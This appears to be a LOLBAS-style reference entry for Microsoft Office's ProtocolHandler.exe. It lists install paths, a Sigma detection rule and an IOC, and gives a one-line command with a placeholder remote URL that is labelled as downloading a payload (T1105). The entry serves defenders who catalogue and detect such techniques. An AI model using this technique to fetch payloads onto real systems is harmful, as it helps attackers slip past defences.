ProtocolHandler.exe

type: OtherMSBinaries

Microsoft Office binary

Full path

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe

Commands

DownloadUser T1105
It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)
```
ProtocolHandler.exe {REMOTEURL}
```
Downloads payload from remote server
os: Windows 10, Windows 11

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml
IOCSuspicious Office application Internet/network traffic

acknowledgement: Nir Chako (Pentera) @C_h4ck_0